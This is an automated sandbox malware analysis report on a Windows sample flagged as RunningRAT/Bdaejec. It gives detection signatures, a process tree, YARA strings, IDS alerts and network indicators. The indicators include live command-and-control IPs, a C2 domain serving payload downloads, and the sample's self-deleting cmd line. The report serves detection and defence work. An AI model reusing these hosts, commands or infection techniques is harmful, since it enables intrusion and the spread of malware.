Edit tour

Windows Analysis Report
gE4NVCZDRk.exe

Overview

General Information

Sample name:	gE4NVCZDRk.exe renamed because original name is a hash value
Original sample name:	02b3757b29002a8fcabd9afaebf1f7d3.exe
Analysis ID:	1544387
MD5:	02b3757b29002a8fcabd9afaebf1f7d3
SHA1:	cecffd787a418e435a9019211dda54444c2184fd
SHA256:	e909609bcd7d6a217635b372abba6e55d034d2e55712b032844ce28ded020064
Tags:	32exeWormRamnit
Infos:

Detection

Bdaejec, RunningRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Bdaejec

Yara detected RunningRAT

AI detected suspicious sample

Checks if browser processes are running

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Self deletion via cmd or bat file

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Stores large binary data to the registry

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

gE4NVCZDRk.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\gE4NVCZDRk.exe" MD5: 02B3757B29002A8FCABD9AFAEBF1F7D3)

XekSuT.exe (PID: 6180 cmdline: C:\Users\user\AppData\Local\Temp\XekSuT.exe MD5: 56B2C3810DBA2E939A8BB9FA36D3CF96)

WerFault.exe (PID: 5696 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 1456 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 2476 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2844 cmdline: ping 127.0.0.1 -n 1 MD5: B3624DD758CCECF93A1226CEF252CA12)

svchost.exe (PID: 5676 cmdline: C:\Windows\SysWOW64\svchost.exe -k "SySyeu" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 2688 cmdline: C:\Windows\SysWOW64\svchost.exe -k "SySyeu" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

SySyeu.exe (PID: 3260 cmdline: C:\Windows\system32\SySyeu.exe "c:\users\user\appdata\local\temp\6011859.dll",MainThread MD5: 889B99C52A60DD49227C5E485A016679)

svchost.exe (PID: 2412 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 4888 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6180 -ip 6180 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WMIADAP.exe (PID: 6180 cmdline: wmiadap.exe /F /T /R MD5: 1BFFABBD200C850E6346820E92B915DC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Running RAT	NJCCIC characterizes RunningRAT as a remote access trojan (RAT) that operates using two DLL files. When the trojan is loaded onto a system, it executes the first DLL. This is used to disable anti-malware solutions, unpack and execute the main RAT DLL, and gain persistence. The trojan installs a Windows batch file dx.bat that attempts to kill the daumcleaner.exe task, a Korean security program. The file then attempts to remove itself. Once the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server to change the address the trojan communicates with. The second DLL gathers information about the victim's system, including its operating system and driver and processor information. The RAT can log user keystrokes, copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and more. The second DLL also uses several anti-bugging techniques.	No Attribution	https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/	https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
gE4NVCZDRk.exe	JoeSecurity_RunningRAT	Yara detected RunningRAT	Joe Security
gE4NVCZDRk.exe	GoldDragon_RunningRAT	Detects Running RAT from Gold Dragon report	Florian Roth	0x402f:$a1: emanybtsohteg 0x405d:$a2: tekcosesolc 0x4089:$a3: emankcosteg 0x4095:$a4: emantsohteg 0x406a:$a5: tpokcostes 0x400e:$a6: putratSASW
gE4NVCZDRk.exe	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x9bb0:$s1: %s%d.dll 0x9cbc:$s2: /c ping 127.0.0.1 -n 0x9cd6:$s3: del /f/q "%s" 0x9ac8:$s4: GUpdate 0x9c8c:$s5: %s\%d.bak 0x9bc5:$s6: "%s",MainThread 0x9bd8:$s7: rundll32.exe 0x4089:$rev1: emankcosteg 0x42ae:$rev3: daerhTniaM,"s%" s% 0x4602:$rev4: s% etadpUllD,"s%" 23lldnuR 0x472f:$rev5: ---DNE yromeMmorFdaoL 0x4724:$rev6: eMnigulP 0x429f:$rev7: exe.23lldnuR\ 0x45a8:$rev8: dnammoc\nepo\llehs\ 0x45df:$rev8: dnammoc\nepo\llehs\ 0x4789:$rev9: "s%" k- exe.tsohcvs\23metsyS\%%tooRmetsyS% 0x402f:$rev10: emanybtsohteg 0x405d:$rev11: tekcosesolc 0x406a:$rev12: tpokcostes 0x4095:$rev13: emantsohteg

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\6011859.dll	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x5534:$s4: GUpdate 0x514c:$s5: %s\%d.bak 0x55e3:$s6: "%s",MainThread 0x50ec:$v2_1: %%SystemRoot%%\System32\svchost.exe -k "%s" 0x515c:$v2_2: LoadFromMemory END--- 0x51d0:$v2_3: hmProxy!= NULL 0x5284:$v2_4: Rundll32 "%s",DllUpdate %s 0x5610:$v2_6: %d*%sMHz

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1680620714.0000000000403000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_RunningRAT	Yara detected RunningRAT	Joe Security
Process Memory Space: gE4NVCZDRk.exe PID: 7112	JoeSecurity_RunningRAT	Yara detected RunningRAT	Joe Security
Process Memory Space: XekSuT.exe PID: 6180	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.svchost.exe.10000000.0.unpack	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x5534:$s4: GUpdate 0x514c:$s5: %s\%d.bak 0x55e3:$s6: "%s",MainThread 0x50ec:$v2_1: %%SystemRoot%%\System32\svchost.exe -k "%s" 0x515c:$v2_2: LoadFromMemory END--- 0x51d0:$v2_3: hmProxy!= NULL 0x5284:$v2_4: Rundll32 "%s",DllUpdate %s 0x5610:$v2_6: %d*%sMHz
0.2.gE4NVCZDRk.exe.4032a0.1.raw.unpack	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x6910:$s1: %s%d.dll 0x6a1c:$s2: /c ping 127.0.0.1 -n 0x6a36:$s3: del /f/q "%s" 0x5534:$s4: GUpdate 0x6828:$s4: GUpdate 0x514c:$s5: %s\%d.bak 0x69ec:$s5: %s\%d.bak 0x55e3:$s6: "%s",MainThread 0x6925:$s6: "%s",MainThread 0x6938:$s7: rundll32.exe 0x50ec:$v2_1: %%SystemRoot%%\System32\svchost.exe -k "%s" 0x515c:$v2_2: LoadFromMemory END--- 0x51d0:$v2_3: hmProxy!= NULL 0x5284:$v2_4: Rundll32 "%s",DllUpdate %s 0x5610:$v2_6: %d*%sMHz
0.0.gE4NVCZDRk.exe.400000.0.unpack	JoeSecurity_RunningRAT	Yara detected RunningRAT	Joe Security
0.0.gE4NVCZDRk.exe.400000.0.unpack	GoldDragon_RunningRAT	Detects Running RAT from Gold Dragon report	Florian Roth	0x402f:$a1: emanybtsohteg 0x405d:$a2: tekcosesolc 0x4089:$a3: emankcosteg 0x4095:$a4: emantsohteg 0x406a:$a5: tpokcostes 0x400e:$a6: putratSASW
0.0.gE4NVCZDRk.exe.400000.0.unpack	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x9bb0:$s1: %s%d.dll 0x9cbc:$s2: /c ping 127.0.0.1 -n 0x9cd6:$s3: del /f/q "%s" 0x9ac8:$s4: GUpdate 0x9c8c:$s5: %s\%d.bak 0x9bc5:$s6: "%s",MainThread 0x9bd8:$s7: rundll32.exe 0x4089:$rev1: emankcosteg 0x42ae:$rev3: daerhTniaM,"s%" s% 0x4602:$rev4: s% etadpUllD,"s%" 23lldnuR 0x472f:$rev5: ---DNE yromeMmorFdaoL 0x4724:$rev6: eMnigulP 0x429f:$rev7: exe.23lldnuR\ 0x45a8:$rev8: dnammoc\nepo\llehs\ 0x45df:$rev8: dnammoc\nepo\llehs\ 0x4789:$rev9: "s%" k- exe.tsohcvs\23metsyS\%%tooRmetsyS% 0x402f:$rev10: emanybtsohteg 0x405d:$rev11: tekcosesolc 0x406a:$rev12: tpokcostes 0x4095:$rev13: emantsohteg
0.2.gE4NVCZDRk.exe.4032a0.1.unpack	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x5910:$s1: %s%d.dll 0x5a1c:$s2: /c ping 127.0.0.1 -n 0x5a36:$s3: del /f/q "%s" 0x4934:$s4: GUpdate 0x5828:$s4: GUpdate 0x454c:$s5: %s\%d.bak 0x59ec:$s5: %s\%d.bak 0x49e3:$s6: "%s",MainThread 0x5925:$s6: "%s",MainThread 0x5938:$s7: rundll32.exe 0x44ec:$v2_1: %%SystemRoot%%\System32\svchost.exe -k "%s" 0x455c:$v2_2: LoadFromMemory END--- 0x45d0:$v2_3: hmProxy!= NULL 0x4684:$v2_4: Rundll32 "%s",DllUpdate %s 0x4a10:$v2_6: %d*%sMHz
0.2.gE4NVCZDRk.exe.400000.0.unpack	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x9bb0:$s1: %s%d.dll 0x9cbc:$s2: /c ping 127.0.0.1 -n 0x9cd6:$s3: del /f/q "%s" 0x87d4:$s4: GUpdate 0x9ac8:$s4: GUpdate 0x83ec:$s5: %s\%d.bak 0x9c8c:$s5: %s\%d.bak 0x8883:$s6: "%s",MainThread 0x9bc5:$s6: "%s",MainThread 0x9bd8:$s7: rundll32.exe 0x838c:$v2_1: %%SystemRoot%%\System32\svchost.exe -k "%s" 0x83fc:$v2_2: LoadFromMemory END--- 0x8470:$v2_3: hmProxy!= NULL 0x8524:$v2_4: Rundll32 "%s",DllUpdate %s 0x88b0:$v2_6: %d*%sMHz
7.2.SySyeu.exe.10000000.1.unpack	MALWARE_Win_RunningRAT	Detects RunningRAT	ditekSHen	0x5534:$s4: GUpdate 0x514c:$s5: %s\%d.bak 0x55e3:$s6: "%s",MainThread 0x50ec:$v2_1: %%SystemRoot%%\System32\svchost.exe -k "%s" 0x515c:$v2_2: LoadFromMemory END--- 0x51d0:$v2_3: hmProxy!= NULL 0x5284:$v2_4: Rundll32 "%s",DllUpdate %s 0x5610:$v2_6: %d*%sMHz
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\SysWOW64\svchost.exe -k "SySyeu", CommandLine: C:\Windows\SysWOW64\svchost.exe -k "SySyeu", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe -k "SySyeu", ProcessId: 5676, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T10:58:59.583625+0100	2807908	1	Malware Command and Control Activity Detected	192.168.2.4	49730	44.221.84.105	799	TCP
2024-10-29T10:59:00.276781+0100	2807908	1	Malware Command and Control Activity Detected	192.168.2.4	49731	44.221.84.105	799	TCP
2024-10-29T10:59:00.976850+0100	2807908	1	Malware Command and Control Activity Detected	192.168.2.4	49732	44.221.84.105	799	TCP
2024-10-29T10:59:01.671009+0100	2807908	1	Malware Command and Control Activity Detected	192.168.2.4	49733	44.221.84.105	799	TCP
2024-10-29T10:59:02.288886+0100	2807908	1	Malware Command and Control Activity Detected	192.168.2.4	49734	44.221.84.105	799	TCP

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T10:58:58.815691+0100	2838522	1	Malware Command and Control Activity Detected	192.168.2.4	55716	1.1.1.1	53	UDP

ETPRO MALWARE W32.YoungLotus Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T10:58:58.815691+0100	2814897	1	Malware Command and Control Activity Detected	192.168.2.4	49743	119.91.152.151	8321	TCP
2024-10-29T10:59:11.785152+0100	2814897	1	Malware Command and Control Activity Detected	192.168.2.4	49735	119.91.152.151	8321	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: gE4NVCZDRk.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Users\user\AppData\Local\Temp\6011859.dll	Avira: detection malicious, Label: BDS/Backdoor.Gen7
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6011859.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	ReversingLabs: Detection: 97%

Multi AV Scanner detection for submitted file

Source: gE4NVCZDRk.exe

ReversingLabs: Detection: 97%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6011859.dll	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: gE4NVCZDRk.exe

Joe Sandbox ML: detected

Source: gE4NVCZDRk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr
Source:	Binary string: rundll32.pdb source: svchost.exe, 00000003.00000003.1684739802.0000000002C2D000.00000004.00000020.00020000.00000000.sdmp, SySyeu.exe, SySyeu.exe, 00000007.00000000.1726094464.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, SySyeu.exe.3.dr
Source:	Binary string: rundll32.pdbGCTL source: svchost.exe, 00000003.00000003.1684739802.0000000002C2D000.00000004.00000020.00020000.00000000.sdmp, SySyeu.exe, 00000007.00000000.1726094464.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, SySyeu.exe.3.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,

1_2_003C29E2

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_003C2B8C

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2838522 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup : 192.168.2.4:55716 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2814897 - Severity 1 - ETPRO MALWARE W32.YoungLotus Checkin : 192.168.2.4:49735 -> 119.91.152.151:8321
Source: Network traffic	Suricata IDS: 2807908 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin : 192.168.2.4:49733 -> 44.221.84.105:799
Source: Network traffic	Suricata IDS: 2807908 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin : 192.168.2.4:49731 -> 44.221.84.105:799
Source: Network traffic	Suricata IDS: 2807908 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin : 192.168.2.4:49730 -> 44.221.84.105:799
Source: Network traffic	Suricata IDS: 2807908 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin : 192.168.2.4:49732 -> 44.221.84.105:799
Source: Network traffic	Suricata IDS: 2807908 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin : 192.168.2.4:49734 -> 44.221.84.105:799
Source: Network traffic	Suricata IDS: 2814897 - Severity 1 - ETPRO MALWARE W32.YoungLotus Checkin : 192.168.2.4:49743 -> 119.91.152.151:8321

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 799

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 1

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 44.221.84.105:799
Source: global traffic	TCP traffic: 192.168.2.4:49735 -> 119.91.152.151:8321

Source: Joe Sandbox View	IP Address: 119.91.152.151 119.91.152.151
Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105

Source: Joe Sandbox View	ASN Name: CNNIC-QCN-APQingdaoCableTVNetworkCenterCN CNNIC-QCN-APQingdaoCableTVNetworkCenterCN
Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	TCP traffic detected without corresponding DNS query: 119.91.152.151
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C1099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

1_2_003C1099

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ddos.dnsnb8.net

Source: XekSuT.exe, 00000001.00000003.1681276523.00000000014D0000.00000004.00001000.00020000.00000000.sdmp, XekSuT.exe, 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/=
Source: XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/e
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp, XekSuT.exe, 00000001.00000002.1891528876.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: XekSuT.exe, 00000001.00000002.1891528876.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarmOg
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarA
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar?
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarr
